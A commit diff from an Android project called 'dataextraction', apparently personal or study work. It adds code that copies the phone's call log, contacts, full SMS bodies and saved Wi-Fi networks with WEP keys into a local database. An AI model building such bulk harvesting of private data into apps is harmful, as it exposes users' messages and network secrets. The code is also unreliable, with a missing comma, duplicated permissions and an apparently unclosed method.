김예미

Add Contact, CallLog, SMS, Wifi extract function

1 <?xml version="1.0" encoding="UTF-8"?> 1 <?xml version="1.0" encoding="UTF-8"?>
2 <project version="4"> 2 <project version="4">
3 - <component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="JDK" project-jdk-type="JavaSDK"> 3 + <component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="1.8" project-jdk-type="JavaSDK">
4 <output url="file://$PROJECT_DIR$/build/classes" /> 4 <output url="file://$PROJECT_DIR$/build/classes" />
5 </component> 5 </component>
6 <component name="ProjectType"> 6 <component name="ProjectType">
......
...@@ -17,6 +17,7 @@ ...@@ -17,6 +17,7 @@
17 <uses-permission android:name="android.permission.GET_ACCOUNTS" /> 17 <uses-permission android:name="android.permission.GET_ACCOUNTS" />
18 <uses-permission android:name="android.permission.INTERNET" /> 18 <uses-permission android:name="android.permission.INTERNET" />
19 <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" /> 19 <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
20 + <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
20 21
21 <application 22 <application
22 android:allowBackup="true" 23 android:allowBackup="true"
......
1 +package com.example.dataextraction;
2 +
3 +import android.provider.BaseColumns;
4 +
5 +public class CallLogDataBase {
6 + public static final class CreateDB implements BaseColumns {
7 + public static final String ID = "id";
8 + public static final String TYPE = "type";
9 + public static final String NAME = "name";
10 + public static final String NUMBER = "number";
11 + public static final String DURATION = "duration";
12 + public static final String DATE = "date";
13 + public static final String _TABLENAME0 = "calllog";
14 + public static final String _CREATE0 = "create table if not exists "+_TABLENAME0+"("
15 + +ID+" INTEGER PRIMARY KEY autoincrement, "
16 + +TYPE+" integer not null , "
17 + +NAME + " text not null,"
18 + +NUMBER + " text not null,"
19 + +DURATION + " inteter not null,"
20 + +DATE + " text);";
21 + }
22 +}
1 +package com.example.dataextraction;
2 +
3 +import android.provider.BaseColumns;
4 +
5 +public class ContactDataBase {
6 + public static final class CreateDB implements BaseColumns {
7 + public static final String NUMBER = "number";
8 + public static final String NAME = "name";
9 + public static final String PHOTO_ID = "photo_id";
10 + public static final String PERSON_ID = "person_id";
11 + public static final String _TABLENAME0 = "contact";
12 + public static final String _CREATE0 = "create table if not exists "+_TABLENAME0+"("
13 + +NUMBER+" text not null primary key, "
14 + +NAME+" text not null , "
15 + +PHOTO_ID + " integer,"
16 + +PERSON_ID + " integer);";
17 + }
18 +}
...@@ -28,6 +28,7 @@ public class DBHelper { ...@@ -28,6 +28,7 @@ public class DBHelper {
28 db.execSQL(VideoDataBase.CreateDB._CREATE0); 28 db.execSQL(VideoDataBase.CreateDB._CREATE0);
29 db.execSQL(AudioDataBase.CreateDB._CREATE0); 29 db.execSQL(AudioDataBase.CreateDB._CREATE0);
30 db.execSQL(CalendarDataBase.CreateDB._CREATE0); 30 db.execSQL(CalendarDataBase.CreateDB._CREATE0);
31 +
31 db.execSQL(Databases.CreateDB_App._CREATE_AppInfo); 32 db.execSQL(Databases.CreateDB_App._CREATE_AppInfo);
32 db.execSQL(Databases.CreateDB_AccountInfo._CREATE_AccountInfo); 33 db.execSQL(Databases.CreateDB_AccountInfo._CREATE_AccountInfo);
33 db.execSQL(Databases.CreateDB_AppUsage_YEAR._CREATE_AppUsage_YEAR); 34 db.execSQL(Databases.CreateDB_AppUsage_YEAR._CREATE_AppUsage_YEAR);
...@@ -35,6 +36,11 @@ public class DBHelper { ...@@ -35,6 +36,11 @@ public class DBHelper {
35 db.execSQL(Databases.CreateDB_AppUsage_WEEK._CREATE_AppUsage_WEEK); 36 db.execSQL(Databases.CreateDB_AppUsage_WEEK._CREATE_AppUsage_WEEK);
36 db.execSQL(Databases.CreateDB_AppUsage_DAY._CREATE_AppUsage_DAY); 37 db.execSQL(Databases.CreateDB_AppUsage_DAY._CREATE_AppUsage_DAY);
37 db.execSQL(Databases.CreateDB_PhoneInfo._CREATE_PhoneInfo); 38 db.execSQL(Databases.CreateDB_PhoneInfo._CREATE_PhoneInfo);
39 +
40 + db.execSQL(CallLogDataBase.CreateDB._CREATE0);
41 + db.execSQL(ContactDataBase.CreateDB._CREATE0);
42 + db.execSQL(SMSDataBase.CreateDB._CREATE0);
43 + db.execSQL(WifiDataBase.CreateDB._CREATE0);
38 } 44 }
39 45
40 @Override 46 @Override
...@@ -43,6 +49,7 @@ public class DBHelper { ...@@ -43,6 +49,7 @@ public class DBHelper {
43 db.execSQL("DROP TABLE IF EXISTS " + VideoDataBase.CreateDB._TABLENAME0); 49 db.execSQL("DROP TABLE IF EXISTS " + VideoDataBase.CreateDB._TABLENAME0);
44 db.execSQL("DROP TABLE IF EXISTS " + AudioDataBase.CreateDB._TABLENAME0); 50 db.execSQL("DROP TABLE IF EXISTS " + AudioDataBase.CreateDB._TABLENAME0);
45 db.execSQL("DROP TABLE IF EXISTS " + CalendarDataBase.CreateDB._TABLENAME0); 51 db.execSQL("DROP TABLE IF EXISTS " + CalendarDataBase.CreateDB._TABLENAME0);
52 +
46 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_App.TABLE_NAME); 53 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_App.TABLE_NAME);
47 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AccountInfo.TABLE_NAME); 54 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AccountInfo.TABLE_NAME);
48 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AppUsage_YEAR.TABLE_NAME); 55 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AppUsage_YEAR.TABLE_NAME);
...@@ -51,6 +58,11 @@ public class DBHelper { ...@@ -51,6 +58,11 @@ public class DBHelper {
51 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AppUsage_DAY.TABLE_NAME); 58 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_AppUsage_DAY.TABLE_NAME);
52 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_PhoneInfo.TABLE_NAME); 59 db.execSQL("DROP TABLE IF EXISTS " + Databases.CreateDB_PhoneInfo.TABLE_NAME);
53 60
61 + db.execSQL("DROP TABLE IF EXISTS " + CallLogDataBase.CreateDB._TABLENAME0);
62 + db.execSQL("DROP TABLE IF EXISTS " + ContactDataBase.CreateDB._TABLENAME0);
63 + db.execSQL("DROP TABLE IF EXISTS " + SMSDataBase.CreateDB._TABLENAME0);
64 + db.execSQL("DROP TABLE IF EXISTS " + WifiDataBase.CreateDB._TABLENAME0);
65 +
54 onCreate(db); 66 onCreate(db);
55 } 67 }
56 } 68 }
...@@ -246,5 +258,48 @@ public class DBHelper { ...@@ -246,5 +258,48 @@ public class DBHelper {
246 values.put(Databases.CreateDB_PhoneInfo.ISNETWORKROMING, isnetworkroming); 258 values.put(Databases.CreateDB_PhoneInfo.ISNETWORKROMING, isnetworkroming);
247 db.insert(Databases.CreateDB_PhoneInfo.TABLE_NAME, null, values); 259 db.insert(Databases.CreateDB_PhoneInfo.TABLE_NAME, null, values);
248 Log.d("LogTest","addPhoneInfo"); 260 Log.d("LogTest","addPhoneInfo");
261 +
262 + public long insertCallLogColumn(String type, String name, String number, String duration
263 + , String date){
264 + ContentValues values = new ContentValues();
265 + values.put(CallLogDataBase.CreateDB.TYPE, type);
266 + values.put(CallLogDataBase.CreateDB.NAME, name);
267 + values.put(CallLogDataBase.CreateDB.NUMBER, number);
268 + values.put(CallLogDataBase.CreateDB.DURATION, duration);
269 + values.put(CallLogDataBase.CreateDB.DATE, date);
270 + return mDB.insert(CallLogDataBase.CreateDB._TABLENAME0, null, values);
271 + }
272 +
273 + public long insertContactColumn(String number, String name, String photo_id, String person_id){
274 + ContentValues values = new ContentValues();
275 + values.put(ContactDataBase.CreateDB.NUMBER, number);
276 + values.put(ContactDataBase.CreateDB.NAME, name);
277 + values.put(ContactDataBase.CreateDB.PHOTO_ID, photo_id);
278 + values.put(ContactDataBase.CreateDB.PERSON_ID, person_id);
279 + return mDB.insert(ContactDataBase.CreateDB._TABLENAME0, null, values);
280 + }
281 +
282 + public long insertSMSColumn(String mid, String tid, String type, String address, String person
283 + , String creator, String date, String body, String read){
284 + ContentValues values = new ContentValues();
285 + values.put(SMSDataBase.CreateDB.MID, mid);
286 + values.put(SMSDataBase.CreateDB.TID, tid);
287 + values.put(SMSDataBase.CreateDB.TYPE, type);
288 + values.put(SMSDataBase.CreateDB.ADDRESS, address);
289 + values.put(SMSDataBase.CreateDB.PERSON, person);
290 + values.put(SMSDataBase.CreateDB.CREATOR, creator);
291 + values.put(SMSDataBase.CreateDB.DATE, date);
292 + values.put(SMSDataBase.CreateDB.BODY, body);
293 + values.put(SMSDataBase.CreateDB.READ, read);
294 + return mDB.insert(SMSDataBase.CreateDB._TABLENAME0, null, values);
295 + }
296 +
297 + public long insertWifiColumn(String id, String ssid, String bssid, String wepkeys){
298 + ContentValues values = new ContentValues();
299 + values.put(WifiDataBase.CreateDB.ID, id);
300 + values.put(WifiDataBase.CreateDB.SSID, ssid);
301 + values.put(WifiDataBase.CreateDB.BSSID, bssid);
302 + values.put(WifiDataBase.CreateDB.WEPKEYS, wepkeys);
303 + return mDB.insert(WifiDataBase.CreateDB._TABLENAME0, null, values);
249 } 304 }
250 } 305 }
......
1 package com.example.dataextraction; 1 package com.example.dataextraction;
2 2
3 import androidx.appcompat.app.AppCompatActivity; 3 import androidx.appcompat.app.AppCompatActivity;
4 +import androidx.core.content.ContextCompat;
4 5
5 import android.Manifest; 6 import android.Manifest;
6 import android.accounts.Account; 7 import android.accounts.Account;
...@@ -27,12 +28,17 @@ import android.net.ProxyInfo; ...@@ -27,12 +28,17 @@ import android.net.ProxyInfo;
27 import android.net.RouteInfo; 28 import android.net.RouteInfo;
28 import android.net.Uri; 29 import android.net.Uri;
29 import android.os.AsyncTask; 30 import android.os.AsyncTask;
31 +import android.net.wifi.WifiConfiguration;
32 +import android.net.wifi.WifiManager;
30 import android.os.Build; 33 import android.os.Build;
31 import android.os.Bundle; 34 import android.os.Bundle;
32 import android.provider.CalendarContract; 35 import android.provider.CalendarContract;
36 +import android.provider.CallLog;
37 +import android.provider.ContactsContract;
33 import android.provider.MediaStore; 38 import android.provider.MediaStore;
34 import android.telephony.TelephonyManager; 39 import android.telephony.TelephonyManager;
35 import android.util.Log; 40 import android.util.Log;
41 +import android.provider.Telephony;
36 import android.view.View; 42 import android.view.View;
37 import android.widget.Toast; 43 import android.widget.Toast;
38 44
...@@ -43,11 +49,14 @@ import java.text.SimpleDateFormat; ...@@ -43,11 +49,14 @@ import java.text.SimpleDateFormat;
43 import java.util.ArrayList; 49 import java.util.ArrayList;
44 import java.util.Date; 50 import java.util.Date;
45 import java.util.List; 51 import java.util.List;
52 +import java.util.Locale;
46 53
47 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR; 54 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
48 55
49 public class MainActivity extends AppCompatActivity { 56 public class MainActivity extends AppCompatActivity {
50 57
58 + DBHelper dbHelper;
59 +
51 String[] permission_list = { 60 String[] permission_list = {
52 Manifest.permission.READ_EXTERNAL_STORAGE, 61 Manifest.permission.READ_EXTERNAL_STORAGE,
53 Manifest.permission.WRITE_EXTERNAL_STORAGE, 62 Manifest.permission.WRITE_EXTERNAL_STORAGE,
...@@ -59,6 +68,10 @@ public class MainActivity extends AppCompatActivity { ...@@ -59,6 +68,10 @@ public class MainActivity extends AppCompatActivity {
59 Manifest.permission.READ_CONTACTS, 68 Manifest.permission.READ_CONTACTS,
60 Manifest.permission.READ_CALL_LOG, 69 Manifest.permission.READ_CALL_LOG,
61 Manifest.permission.READ_PHONE_NUMBERS 70 Manifest.permission.READ_PHONE_NUMBERS
71 + Manifest.permission.READ_CONTACTS,
72 + Manifest.permission.READ_CALL_LOG,
73 + Manifest.permission.READ_SMS,
74 + Manifest.permission.ACCESS_WIFI_STATE
62 }; 75 };
63 76
64 @Override 77 @Override
...@@ -83,9 +96,9 @@ public class MainActivity extends AppCompatActivity { ...@@ -83,9 +96,9 @@ public class MainActivity extends AppCompatActivity {
83 ArrayList<videoItem> videos = getVideoList(); 96 ArrayList<videoItem> videos = getVideoList();
84 ArrayList<audioItem> audios = getAudioList(); 97 ArrayList<audioItem> audios = getAudioList();
85 ArrayList<calendarItem> calendars = getCalendarInfoList(); 98 ArrayList<calendarItem> calendars = getCalendarInfoList();
86 - getNetworkInfo(); 99 + //getNetworkInfo();
87 - DBHelper dbHelper = new DBHelper(getApplicationContext());
88 100
101 + dbHelper = new DBHelper(getApplicationContext());
89 dbHelper.open(); 102 dbHelper.open();
90 for(photoItem photo: photos){ 103 for(photoItem photo: photos){
91 dbHelper.insertPColumn(photo.getTitle(), photo.getId(), photo.getDate() 104 dbHelper.insertPColumn(photo.getTitle(), photo.getId(), photo.getDate()
...@@ -118,6 +131,11 @@ public class MainActivity extends AppCompatActivity { ...@@ -118,6 +131,11 @@ public class MainActivity extends AppCompatActivity {
118 getAppInfo(); 131 getAppInfo();
119 getUsageStats(); 132 getUsageStats();
120 133
134 + getCallLog();
135 + getContact();
136 + getSMSMessage();
137 + getWIFI();
138 +
121 dbHelper.close(); 139 dbHelper.close();
122 } 140 }
123 141
...@@ -551,6 +569,127 @@ public class MainActivity extends AppCompatActivity { ...@@ -551,6 +569,127 @@ public class MainActivity extends AppCompatActivity {
551 mDBhelper.close(); 569 mDBhelper.close();
552 } 570 }
553 571
572 +
573 + public void getCallLog(){
574 +
575 + int permissionCheck = ContextCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_CALL_LOG);
576 +
577 + Uri uri = CallLog.Calls.CONTENT_URI;
578 + if(permissionCheck == PackageManager.PERMISSION_GRANTED) {
579 + Cursor cursor = getBaseContext().getContentResolver().query(uri, null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
580 +
581 + if(cursor.getCount() > 0){
582 + while(cursor.moveToNext()){
583 + //1:수신, 2:발신, 3:부재중
584 + String type = cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE));
585 + //이름
586 + String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
587 + //번호
588 + String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
589 + //통화시간
590 + String duration = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION));
591 + //날짜
592 + long date_long = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
593 + DateFormat timeFormat = new SimpleDateFormat("yyyy MMM dd HH:mm:ss");
594 + Date date = new Date(date_long);
595 +
596 + //db에 추가
597 + dbHelper.insertCallLogColumn(type, name, number, duration, timeFormat.format(date));
598 +
599 + }
600 + }
601 + }
602 + }
603 +
604 + public void getContact(){
605 + Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
606 +
607 + String[] projection = new String[]{
608 + ContactsContract.CommonDataKinds.Phone.NUMBER,
609 + ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
610 + ContactsContract.Contacts.PHOTO_ID,
611 + ContactsContract.Contacts._ID
612 + };
613 +
614 + String sortOrder = ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
615 +
616 + Cursor cursor = getContentResolver().query(uri,projection,null,null,sortOrder);
617 +
618 + if(cursor.moveToFirst()){
619 + do{
620 + //전화번호
621 + String number = cursor.getString(0);
622 + //이름
623 + String name = cursor.getString(1);
624 + String photo_id = cursor.getString(2);
625 + String person_id = cursor.getString(3);
626 +
627 + //name, number 중복하는거 거르기
628 + //db에 추가
629 + dbHelper.insertContactColumn(number, name, photo_id, person_id);
630 +
631 + }while(cursor.moveToNext());
632 + }
633 + }
634 +
635 + public void getSMSMessage(){
636 + Uri uri = Telephony.Sms.CONTENT_URI;
637 + String[] projection = new String[]{
638 + "type","_id","thread_id","address","person","creator","date","body","read"
639 + };
640 + Cursor cursor = getContentResolver().query(uri,projection, null,null,"date DESC");
641 +
642 + while(cursor.moveToNext()){
643 + //Telephony.Sms.MESSAGE_TYPE_INBOX 받은 메시지/Telephony.Sms.MESSAGE_TYPE_SENT 보낸 메시지
644 + String type = cursor.getString(0);
645 + //메세지 id
646 + String mid = cursor.getString(1);
647 + //특정 사용자와 대화의 공통 id
648 + String tid = cursor.getString(2);
649 + //주소 번호
650 + String address = cursor.getString(3);
651 + //누가 보냈는지 contact
652 + //Telephony.Sms.MESSAGE_TYPE_INBOX only
653 + String person = cursor.getString(4);
654 + //Telephony.Sms.MESSAGE_TYPE_SENT only
655 + String creator = cursor.getString(5);
656 + //시간 ms
657 + Long date_long = cursor.getLong(6);
658 + DateFormat timeFormat = new SimpleDateFormat("yyyy MMM dd HH:mm:ss");
659 + String date = timeFormat.format(date_long);
660 + //내용
661 + String body = cursor.getString(7);
662 + //사용자가 메시지 읽었으면 1, 안 읽었으면 0
663 + String read = cursor.getString(8);
664 +
665 + //db에 추가
666 + dbHelper.insertSMSColumn(mid, tid, type, address, person, creator, date, body, read);
667 + }
668 + }
669 +
670 + public void getWIFI(){
671 + WifiManager wm = (WifiManager)getApplicationContext().getSystemService(Context.WIFI_SERVICE);
672 + //네트워크 설정 목록 획득
673 + List<WifiConfiguration> configurations = wm.getConfiguredNetworks();
674 + if(configurations != null){
675 + for(final WifiConfiguration config : configurations){
676 + //network id
677 + int i_id = config.networkId;
678 + String id = Integer.toString(i_id);
679 + //wifi 이름
680 + String ssid = config.SSID;
681 + //mac 주소
682 + String bssid = config.BSSID;
683 + //신호강도 (level)
684 + //연결 password
685 + String[] wepkeys = config.wepKeys;
686 +
687 + //db에 추가
688 + dbHelper.insertWifiColumn(id, ssid, bssid, wepkeys[0]);
689 + }
690 + }
691 + }
692 +
554 public void checkPermission(){ 693 public void checkPermission(){
555 //현재 안드로이드 버전이 6.0미만이면 메서드를 종료한다. 694 //현재 안드로이드 버전이 6.0미만이면 메서드를 종료한다.
556 if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M) 695 if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M)
......
1 +package com.example.dataextraction;
2 +
3 +import android.provider.BaseColumns;
4 +
5 +public class SMSDataBase {
6 + public static final class CreateDB implements BaseColumns {
7 + public static final String MID = "mid";
8 + public static final String TID = "tid";
9 + public static final String TYPE = "type";
10 + public static final String ADDRESS = "address";
11 + public static final String PERSON = "person";
12 + public static final String CREATOR = "creator";
13 + public static final String DATE = "date";
14 + public static final String BODY = "body";
15 + public static final String READ = "read";
16 + public static final String _TABLENAME0 = "sms";
17 + public static final String _CREATE0 = "create table if not exists "+_TABLENAME0+"("
18 + +MID+" integer not null primary key, "
19 + +TID+" integer not null , "
20 + +TYPE + " integer not null,"
21 + +ADDRESS+" text not null , "
22 + +PERSON + " text,"
23 + +CREATOR+" text , "
24 + +DATE + " text not null,"
25 + +BODY + " text not null,"
26 + +READ + " integer);";
27 + }
28 +}
1 +package com.example.dataextraction;
2 +
3 +import android.provider.BaseColumns;
4 +
5 +public class WifiDataBase {
6 + public static final class CreateDB implements BaseColumns {
7 + public static final String ID = "id";
8 + public static final String SSID = "ssid";
9 + public static final String BSSID = "bssid";
10 + public static final String WEPKEYS = "wepkeys";
11 + public static final String _TABLENAME0 = "wifi";
12 + public static final String _CREATE0 = "create table if not exists "+_TABLENAME0+"("
13 + +ID+" integer not null primary key, "
14 + +SSID+" text not null , "
15 + +BSSID + " text not null,"
16 + +WEPKEYS + " text);";
17 + }
18 +}